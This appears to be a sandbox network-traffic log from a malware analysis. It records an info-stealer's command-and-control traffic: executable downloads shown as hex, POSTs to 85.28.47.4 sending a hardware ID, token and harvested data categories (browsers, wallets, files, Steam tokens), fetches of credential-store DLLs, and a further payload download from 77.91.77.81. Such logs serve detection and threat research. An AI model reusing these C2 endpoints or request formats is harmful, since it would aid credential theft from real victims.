Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 28 Jun 2024 20:32:12 GMTContent-Type: application/octet-streamContent-Length: 1899520Last-Modified: Fri, 28 Jun 2024 19:26:33 GMTConnection: keep-aliveETag: "667f0e69-1cfc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 f3 98 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 6f 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 6e 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 74 70 71 6e 62 74 76 00 f0 19 00 00 90 31 00 00 e2 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 74 6c 73 77 62 79 74 00 10 00 00 00 80 4b 00 00 06 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 da 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 39 39 38 39 45 42 33 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="hwid"9799989EB3793994880753------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="build"default------BGIIDAEBGCAAECAKFHII--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"browsers------CBAKJKJJJECFIEBFHIEG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"plugins------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDGHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="message"fplugins------HDBGDHDAECBGDHJKFIDG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBAHost: 85.28.47.4Content-Length: 6983Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCHost: 85.28.47.4Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 85.28.47.4Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="file"------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEHHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 2d 2d 0d 0a Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file"------IIJDBAKKKFBFHIDGIIEH--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDHHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="message"wallets------DBKFHCFBGIIJKFHJDHDH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHCGCGDAAKFIECFHDBHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 2d 2d 0d 0a Data Ascii: ------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="message"files------DBFHCGCGDAAKFIECFHDB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIEGCFHCFHIDHIJECAHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="file"------EBGIEGCFHCFHIDHIJECA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEHHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="message"jbdtaijovg------HIDAKFIJJKJJJKEBKJEH--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
